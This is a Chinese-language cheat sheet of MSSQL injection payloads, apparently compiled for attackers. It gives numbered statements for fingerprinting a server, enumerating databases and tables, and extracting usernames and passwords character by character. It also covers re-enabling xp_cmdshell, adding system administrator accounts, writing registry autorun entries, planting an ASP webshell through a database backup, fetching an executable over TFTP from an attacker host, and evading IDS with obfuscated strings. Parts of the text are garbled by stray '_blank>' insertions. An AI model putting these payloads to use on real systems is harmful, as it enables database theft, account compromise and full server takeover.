SQL 注入语句 (很全)
1、 返回的是连接的数据库名
and db_name()>0
2、作用是获取连接用户名
and user>0
3、将数据库备份到 Web 目录下面
;backup database 数据库名 to disk='c:\inetpub\wwwroot\1.db';--
4、显示 SQL 系统版本
and 1=(select @@VERSION) 或 and 1=convert(int,@@version)--
5、判断 xp_cmdshell 扩展存储过程是否存在
and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = 'X' AND name ='xp_cmdshell')
6、恢复 xp_cmdshell 扩展存储的命令
;exec master.dbo.sp_addextendedproc 'xp_cmdshell','e:\inetput\web\xplog70.dll';--
7、向启动组中写入命令行和执行程序
;EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\
Run','help1','REG_SZ','cmd.exe /c net user test ptlove /add'
8、查看当前的数据库名称
and 0 <> db_name(n) n 改成 0,1,2,3……就可以跨库了 或 and 1=convert(int,db_name())--
9、不需 xp_cmdshell 支持在有注入漏洞的 SQL 服务器上运行 CMD 命令(同第 76)
10、则把得到的数据内容全部备份到 WEB 目录下
;backup database 数据库名 to disk='c:\inetpub\wwwroot\save.db'
11、通过复制 CMD 创建 UNICODE 漏洞
;exec master.dbo.xp_cmdshell "copy c:\winnt\system32\cmd.exe
c:\inetpub\scripts\cmd.exe"
12、遍历系统的目录结构,分析结果并发现 WEB 虚拟目录
先 创 建 一 个 临 时 表 :temp ;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3
nvarchar(255));--
(1) 利 用 xp_availablemedia 来 获 得 当 前 所 有 驱 动 器 , 并 存 入 temp 表 中
;insert
temp exec
master.dbo.xp_availablemedia;--
通过查询 temp 的内容来获得驱动器列表及相关信息
(2) 利 用 xp_subdirs 获 得 子 目 录 列 表 , 并 存 入 temp 表 中
;insert into temp(id) exec
master.dbo.xp_subdirs 'c:\';--
(3) 还 可 以 利 用 xp_dirtree 获 得 所 有 子 目 录 的 目 录 树 结 构 , 并 寸 入 temp 表 中 ;insert into temp(id,num1) exec
master.dbo.xp_dirtree 'c:\';-- (实验成功)
13、查看某个文件的内容,可以通过执行 xp_cmdsell
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';--
14、将一个文本文件插入到一个临时表中
;bulk insert temp(id) from 'c:\inetpub\wwwroot\index.asp'
15、每完成一项浏览后,应删除 TEMP 中的所有内容,删除方法是:
;delete from temp;--
16、浏览 TEMP 表的方法是:
and (select top 1 id from TestDB.dbo.temp)>0 假设 TestDB 是当前连接的数据库名
17、猜解所有数据库名称
and (select count(*) from master.dbo.sysdatabases where name>1 and dbid=6) <>0
dbid=6,7,8 分别得到其它
库名
18、猜解数据库中用户名表的名称
and (select count(*) from TestDB.dbo.表名)>0 若表名存在,则 abc.asp 工作正常,否则异常。如此循环,直到猜到系统帐
号表的名称。
19、判断是否是 sysadmin 权限
and 1=(SELECT IS_SRVROLEMEMBER('sysadmin'))
20、判断是否是 SA 用户
'sa'=(SELECT System_user)
21、查看数据库角色
;use model--
22、查看库名
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)--
23、获得第一个用户建立表的名称
and (select top 1 name from TestDB.dbo.sysobjects where xtype='U' and status>0 )>0 假 设 要 获 得 数 据 库 是
TestDB.dbo
24、获得第二个用户建立的表的名称
and (select top 1 name from TestDB.dbo.sysobjects where xtype='U' and status>0 and name not in('xyz'))>0
25、获得第三个用户建立的表的名称
and (select top 1 name from TestDB.dbo.sysobjects where xtype='U' and status>0 and name not in('xyz',''))>0 ''
中为第二个用户名
26、获得第四个用户建立的表的名称
and (select
top 1 name from TestDB.dbo.sysobjects where xtype='U' and status>0 and name not
in('xyz','',''))>0 '',''中为第二,三个用户名
27、获得表中记录的条数
and (select count(*) from 表名)<5 记录条数小于 5 或 <10 记录条数小于 10 ……等等
28、测试权限结构(mssql)
and 1=(SELECT IS_SRVROLEMEMBER('sysadmin'));--
and 1=(SELECT IS_SRVROLEMEMBER('serveradmin'));--
and 1=(SELECT IS_SRVROLEMEMBER('setupadmin'));--
and 1=(SELECT IS_SRVROLEMEMBER('securityadmin'));--
and 1=(SELECT IS_SRVROLEMEMBER('diskadmin'));--
and 1=(SELECT IS_SRVROLEMEMBER('bulkadmin'));--
and 1=(SELECT IS_MEMBER('db_owner'));--
29、 添加 mssql 和系统的帐户
;exec master.dbo.sp_addlogin username;--
;exec master.dbo.sp_password null,username,password;--
;exec master.dbo.sp_addsrvrolemember sysadmin username;--
;exec master.dbo.xp_cmdshell
'net user username password /workstations:* /times:all /passwordchg:yes
/passwordreq:yes /active:yes /add';--
;exec master.dbo.xp_cmdshell 'net user username password /add';--
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--
30、 简洁的 webshell
use model
create table cmd(str image);
insert
into
cmd(str)
values
('<%=server.createobject("wscript.shell").exec("cmd.exe
/c
"&request("c")).stdout.readall%>');
backup database model to disk='g:\wwwtest\l.asp';
请求的时候,像这样子用:
http://ip/l.asp?c=dir
31、猜解字段名称
猜解法:and (select count(字段名) from 表名)>0 若“字段名”存在,则返回正常
读取法:and (select top 1 col_name(object_id('表名'),1) from sysobjects)>0 把 col_name(object_id('表名'),1)中的
1 依次换成 2,3,4,5,6…就可得到所有的字段名称。
32、 猜解用户名与密码
ASCII 码逐字解码法:基本的思路是先猜出字段的长度,然后依次猜出每一位的值
and (select top 1 len(username) from admin)=X(X=1,2,3,4,5,… n,假设:username 为用户名字段的名称,admin
为表的名称 若 x 为某一值 i 且 abc.asp 运行正常时,则 i 就是第一个用户名的长度。
and (select top 1 ascii(substring(username,m,1)) from admin)=n (m 的值在上一步得到的用户名长度之间,当 m=1,
2,3,…时猜测分别猜测第 1,2,3,…位的值;n 的值是 1~9、a~z、A~Z 的 ASCII 值,也就是 1~128 之间的任意值;admin 为
系统用户帐号表的名称),
33、建立数据表
;create table 表名 (列名 1 数据类型,列名 2 数据类型);--
34、向表格中插入数据
;insert into 表名 (列名 1,列名 2,……) values ('值 1','值 2'……);--
35、更新记录
update 表名 set 列名 1='值'…… where ……
36、删除记录
delete from 表名 where ……
37、删除数据库表格
drop table 表名
38、将文本文件导入表
使用'bulk insert'语法可以将一个文本文件插入到一个临时表中。简单地创建这个表:
create table foo( line varchar(8000))
然后执行 bulk insert 操作把文件中的数据插入到表中,如:
bulk insert foo from 'c:\inetpub\wwwroot\process_login.asp'
39、备份当前数据库的命令:
declare @a sysname;set @a=db_name();backup database @a to disk=' 你 的 IP 你 的 共 享 目 录
bak.dat' ,name='test';--
40、使用 sp_makewebtask 处理过程的相关请求写入 URL
;
EXEC
master..sp_makewebtask
"\\10.10.1.3\share\output.html",
"SELECT
*
FROM
INFORMATION_SCHEMA.TABLES"
41、将获得 SQLSERVER 进程的当前工作目录中的目录列表
Exec master..xp_cmdshell 'dir'
42、将提供服务器上所有用户的列表
Exec master..xp_cmdshell 'net user'
43、读注册表存储过程
exec
xp_regread
HKEY_LOCAL_MACHINE,'SYSTEM\CurrentControlSet\Services\lanmanserver\parameters',
'nullsessionshares'
44、xp_servicecontrol 过程允许用户启动,停止,暂停和继续服务
exec master..xp_servicecontrol 'start','schedule'
exec master..xp_servicecontrol 'start','server'
45、显示机器上有用的驱动器
Xp_availablemedia
46、允许获得一个目录树
Xp_dirtree
47、提供进程的进程 ID,终止此进程
Xp_terminate_process
48、恢复 xp_cmdshell
Exec master.dbo.addextendedproc 'xp_cmdshell','xplog70.dll'
49、堵上 cmdshell 的 SQL 语句
sp_dropextendedproc "xp_cmdshell"
50、不需要 XP_CMDSHLL 直接添加系统帐号,对 XPLOG70.DLL 被删很有效
declare
@shell
int
exec
sp_oacreate
'wscript.shell',@shell
output
exec
sp_oamethod
@shell,'run',null,'c:\winnt\system32\cmd.exe /c net user gchn aaa /add'--
51、在数据库内添加一个 hax 用户
;exec sp_addlogin hax;--
52、给 hax 设置密码
;exec master.dbo.sp_password null,username,password;--
53、将 hax 添加到 sysadmin 组
;exec master.dbo.sp_addsrvrolemember sysadmin hax;--
54、(1)遍历目录
;create table dirs(paths varchar(100), id int)
;insert dirs exec master.dbo.xp_dirtree 'c:\'
;and (select top 1 paths from dirs)>0
;and (select top 1 paths from dirs where paths not in('上步得到的 paths'))>)
55、(2)遍历目录
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树结构
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容
56、mssql 中的存储过程
xp_regenumvalues 注册表根键, 子键
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记
录集方式返回所有键值
xp_regread 根键,子键,键值名
;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返
回制定键的值
xp_regwrite 根键,子键, 值名, 值类型, 值
值类型有 2 种 REG_SZ 表示字符型,REG_DWORD 表示整型
;exec
xp_regwrite
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注
册表
xp_regdeletevalue 根键,子键,值名
exec
xp_regdeletevalue
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Tes
最标准的 SQL 注入语句(二)
爆库 特殊_blank>技巧::%5c=\ 或者把/和\ 修改%5 提交
and 0<>(select top 1 paths from newtable)--
得到库名(从 1 到 5 都是系统的 id,6 以上才可以判断)
and 1=(select name from master.dbo.sysdatabases where dbid=7)--
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)
依次提交 dbid = 7,8,9.... 得到更多的_blank>数据库名
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U) 暴到一个表 假设为 admin
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U and name not in (Admin)) 来得到其他的表。
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype=U and name=admin
and uid>(str(id))) 暴到 UID 的数值假设为 18779569 uid=id
and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569) 得到一个 admin 的一个字段,假设为 user_blank>_id
and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569 and name not in
(id,...)) 来暴出其他的字段
and 0<(select user_blank>_id from BBS.dbo.admin where username>1) 可以得到用户名
依次可以得到_blank>密码。。。。。假设存在 user_blank>_id username ,password 等字段
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U) 得到表名
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U and name not in(Address))
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype=U and name=admin and uid>(str(id))) 判断 id 值
and 0<>(select top 1 name from BBS.dbo.syscolumns where id=773577794) 所有字段
?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,* from admin
?id=-1 union select 1,2,3,4,5,6,7,8,*,9,10,11,12,13 from admin (union,access 也好用)
得到 WEB 路径
;create table [dbo].[swap] ([swappass][char](255));--
and (select top 1 swappass from swap)=1--
;CREATE TABLE newtable(id int
IDENTITY(1,1),paths varchar(500)) Declare @test varchar(20)
exec master..xp_blank>_regread
@rootkey=HKEY_blank>_LOCAL_blank>_MACHINE,
@key=SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual
Roots\,
@value_blank>_name=/, values=@test OUTPUT insert into paths(path) values(@test)--
;use ku1;--
;create table cmd (str image);-- 建立 image 类型的表 cmd
存在 xp_blank>_cmdshell 的测试过程:
;exec master..xp_blank>_cmdshell dir
;exec master.dbo.sp_blank>_addlogin jiaoniang$;-- 加 SQL 帐号
;exec master.dbo.sp_blank>_password null,jiaoniang$,1866574;--
;exec master.dbo.sp_blank>_addsrvrolemember jiaoniang$ sysadmin;--
;exec master.dbo.xp_blank>_cmdshell net user jiaoniang$ 1866574 /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes
/add;--
;exec master.dbo.xp_blank>_cmdshell net localgroup administrators jiaoniang$ /add;--
exec master..xp_blank>_servicecontrol start, schedule 启动_blank>服务
exec master..xp_blank>_servicecontrol start, server
; DECLARE @shell INT EXEC SP_blank>_OACREATE wscript.shell,@shell OUTPUT EXEC SP_blank>_OAMETHOD @shell,run,null, C:
\WINNT\system32\cmd.exe /c net user jiaoniang$ 1866574 /add
;DECLARE @shell INT EXEC SP_blank>_OACREATE wscript.shell,@shell OUTPUT EXEC SP_blank>_OAMETHOD @shell,run,null, C :
\WINNT\system32\cmd.exe /c net localgroup administrators jiaoniang$ /add
; exec master..xp_blank>_cmdshell tftp -i youip get file.exe-- 利用 TFTP 上传文件
;declare @a sysname set @a=xp_blank>_+cmdshell exec @a dir c:\
;declare @a sysname set @a=xp+_blank>_cm’+’dshell exec @a dir c:\
;declare @a;set @a=db_blank>_name();backup database @a to disk=你的 IP 你的共享目录 bak.dat
如果被限制则可以。
select * from openrowset(_blank>sqloledb,server;sa;,select OK! exec master.dbo.sp_blank>_addlogin hax)
查询构造:
SELECT * FROM news WHERE id=... AND topic=... AND .....
adminand 1=(select count(*) from [user] where username=victim and right(left(userpass,01),1)=1) and userpass <>
select 123;--
;use master;--
:a or name like fff%;-- 显示有一个叫 ffff 的用户哈。
and 1<>(select count(email) from [user]);--
;update [users] set email=(select top 1 name from sysobjects where xtype=u and status>0) where name=ffff;--
;update [users] set email=(select top 1 id from sysobjects where xtype=u and name=ad) where name=ffff;--
;update [users] set email=(select top 1 name from sysobjects where xtype=u and id>581577110) where name=ffff;--
;update [users] set email=(select top 1 count(id) from password) where name=ffff;--
;update [users] set email=(select top 1 pwd from password where id=2) where name=ffff;--
;update [users] set email=(select top 1 name from password where id=2) where name=ffff;--
上面的语句是得到_blank>数据库中的第一个用户表,并把表名放在 ffff 用户的邮箱字段中。
通过查看 ffff 的用户资料可得第一个用表叫 ad
然后根据表名 ad 得到这个表的 ID 得到第二个表的名字
insert
into
users
values(
666,
char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73),
char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), 0xffff)--
insert into users values( 667,123,123,0xffff)--
insert into users values ( 123, admin--, password, 0xffff)--
;and user>0
;and (select count(*) from sysobjects)>0
;and (select count(*) from mysysobjects)>0 //为 access_blank>数据库
枚举出数据表名
;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status>0);--
这是将第一个表名更新到 aaa 的字段处。
读出第一个表,第二个表可以这样读出来(在条件后加上 and name<>刚才得到的表名)。
;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status>0 and name<>vote);--
然后 id=1552 and exists(select * from aaa where aaa>5)
读出第二个表,一个个的读出,直到没有为止。
读字段是这样:
;update aaa set aaa=(select top 1 col_blank>_name(object_blank>_id(表名),1));--
然后 id=152 and exists(select * from aaa where aaa>5)出错,得到字段名
;update aaa set aaa=(select top 1 col_blank>_name(object_blank>_id(表名),2));--
然后 id=152 and exists(select * from aaa where aaa>5)出错,得到字段名
[获得数据表名][将字段值更新为表名,再想法读出这个字段的值就可得到表名]
update 表名 set 字段=(select top 1 name from sysobjects where xtype=u and status>0 [ and name<>你得到的表名 查出一个加一个]) [ where
条件] select top 1 name from sysobjects where xtype=u and status>0 and name not in(table1,table2,…)
通过 SQLSERVER 注入_blank>漏洞建_blank>数据库管理员帐号和系统管理员帐号[当前帐号必须是 SYSADMIN 组]
[获得数据表字段名][将字段值更新为字段名,再想法读出这个字段的值就可得到字段名]
update 表名 set 字段=(select top 1 col_blank>_name(object_blank>_id(要查询的数据表名),字段列如:1) [ where 条件]
绕过 IDS 的检测[使用变量]
;declare @a sysname set @a=xp_blank>_+cmdshell exec @a dir c:\
;declare @a sysname set @a=xp+_blank>_cm’+’dshell exec @a dir c:\
1、 开启远程_blank>数据库
基本语法
select * from OPENROWSET(SQLOLEDB, server=servername;uid=sa;pwd=123, select * from table1 )
参数: (1) OLEDB Provider name
2、 其中连接字符串参数可以是任何端口用来连接,比如
select * from OPENROWSET(SQLOLEDB, uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;, select * from table
3.复制目标主机的整个_blank>数据库 insert 所有远程表到本地表。
一些 SQL 注入语句
http://www.something.com/script.asp?id=2 and 1=(select @@VERSION) 或者 and (select @@version)>0;-- //显示 SQL
版本
http://www.something.com/script.asp?id=2 and 1=(select IS_SRVROLEMEMBER('sysadmin'))或者 and 'sa'=(select
System_user)-- //返回正常,这证明当前连接的账号是服务器角色 sysadmin 权限。
http://www.something.com/script.asp?id=2 and 'sa'=(select System_user) //用来查看连接账号是不是用 sa 连接的,IE 再
一次返回正常。这证明了连接账号真的是 SA
http://www.something.com/script.asp?id=2 and 1=(select count(*) FROM master.dbo.sysobjects where xtype = 'X'
AND name = 'xp_cmdshell') //查看 XP_cmdshell 扩展存储过程是不是已经被删除
http://www.something.com/script.asp?id=2;EXEC master.dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll' //尝试
恢复 xp_cmdshell
http://www.something.com/script.asp?id=2 and 1=(select count(*) FROM master.dbo.sysobjects where name=
'xp_regread') //查看 XP_regread 扩展存储过程是不是已经被删除